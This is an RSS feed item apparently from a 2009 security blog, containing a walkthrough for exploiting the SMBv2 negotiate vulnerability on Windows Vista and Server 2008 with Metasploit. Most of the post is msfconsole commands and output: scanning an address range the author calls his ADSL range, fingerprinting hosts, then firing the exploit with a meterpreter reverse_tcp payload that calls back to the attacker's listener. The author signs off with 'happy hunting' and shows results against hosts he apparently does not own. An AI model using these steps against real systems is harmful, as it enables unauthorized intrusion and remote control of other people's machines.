<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Researches &#187; Uncategorized</title>
	<atom:link href="http://www.abysssec.com/blog/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Fri, 14 May 2010 19:22:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Exploiting Vista / 2008 Using SMBV2 Exploit</title>
		<link>http://www.abysssec.com/blog/2009/10/exploiting-vista-2008-using-smbv2-exploit/</link>
		<comments>http://www.abysssec.com/blog/2009/10/exploiting-vista-2008-using-smbv2-exploit/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 15:37:10 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=404</guid>
		<description><![CDATA[hello all in a few recent days i worked on smbv2 ProcessID Function Table Dereference vulnerability and after lots of work actually i got my shell after kostya and rest of Immunity. but there is a good news for you Stephen Fewer finally released his exploit for metasploit too. a note : stephen exploit is [...]]]></description>
			<content:encoded><![CDATA[<p>hello all</p>
<p>in a few recent days i worked on smbv2 ProcessID Function Table Dereference vulnerability and after lots of work actually i got my shell after kostya and rest of Immunity. but there is a good news for you <a href="http://harmonysecurity.com/">Stephen Fewer</a> finally released his exploit for metasploit too.</p>
<p>a note : stephen exploit is no so reliable refer to selecting address in HAL  but it&#8217;s free &#8230;</p>
<p>metasploit 3.3 DEV have this module by default .</p>
<p>and here are steps for exploitation using metasploit</p>
<p>step 0:</p>
<p>run msfconsole.bat</p>
<p>step 1 :</p>
<p>scanning for targets<br />
msf &gt; use auxiliary/scanner/smb/smb2<br />
msf auxiliary(smb2) &gt; set RHOSTS xx.xx.xx.x-xx.xx.xx.254<br />
RHOSTS =&gt;xx.xx.xx.x-xx.xx.xx.254<br />
msf auxiliary(smb2) &gt; set THREADS 50<br />
THREADS =&gt; 50<br />
msf auxiliary(smb2) &gt; run</p>
<p>for example i found on my ADSL range  :</p>
<p>[*] xx.xx.xx.x supports SMB 2 [dialect 255.2] and has been online for 285 hours</p>
<p>step 2 :</p>
<p>now you need check version of founded target (i think it&#8217;s better to know before send your exploit)</p>
<p>msf auxiliary(smb2) &gt; use auxiliary/scanner/smb/version<br />
msf auxiliary(version) &gt; set RHOSTS xx.xx.xx.x<br />
RHOSTS =&gt; xx.xx.xx.x<br />
msf auxiliary(version) &gt; run</p>
<p>[*] xx.xx.xx.x is running Windows 7 Ultimate (Build 7100) (language: Unknown)<br />
[*] Auxiliary module execution completed<br />
msf auxiliary(version) &gt; set RHOSTS xx.xx.xx.x<br />
RHOSTS =&gt; xx.xx.xx.x<br />
msf auxiliary(version) &gt; run</p>
<p>[*] xx.xx.xx.x  is running Windows 7 Ultimate (Build 7229) (language: Unknown)<br />
[*] Auxiliary module execution completed<br />
msf auxiliary(version) &gt; set RHOSTS xx.xx.xx.x<br />
RHOSTS =&gt; xx.xx.xx.x<br />
msf auxiliary(version) &gt; run</p>
<p>[*] xx.xx.xx.x is running Windows Vista Home Basic Service Pack 2 (language: Unknown)<br />
[*] Auxiliary module execution completed</p>
<p>as you may noticed i just found one windows vista and two others are windows 7 .this exploit will work against vista sp1-2 and windows 2008 (not rc2)</p>
<p>step 3 :</p>
<p>now you can set and send exploit</p>
<p>msf auxiliary(version) &gt; use exploit/windows/smb/smb2_negotiate_func_index<br />
msf exploit(smb2_negotiate_func_index) &gt; set PAYLOAD windows/meterpreter/reverse_tcp<br />
PAYLOAD =&gt; windows/meterpreter/reverse_tcp<br />
set msf exploit(smb2_negotiate_func_index) &gt; set LPORT 5678<br />
LPORT =&gt; 5678<br />
msf exploit(smb2_negotiate_func_index) &gt; set LHOST xx.xx.xx.x<br />
LHOST =&gt; xx.xx.xx.x<br />
msf exploit(smb2_negotiate_func_index) &gt; set RHOST xx.xx.xx.x<br />
RHOST =&gt; xx.xx.xx.x<br />
msf exploit(smb2_negotiate_func_index) &gt; exploit</p>
<p>and here is output of metasploit exploit on my target :</p>
<p style="text-align: center;"><img class="aligncenter" title="SMBv2 Exploit" src="http://i35.tinypic.com/2mw6nvo.png" alt="" width="557" height="234" /></p>
<p>note : i will try to have a technical detail post  for exploitation and also my version of exploit for you soon.</p>
<p>happy hunting</p>
<p>shahin</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1200px; width: 1px; height: 1px;">xx.xx.xx.x</div>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/10/exploiting-vista-2008-using-smbv2-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
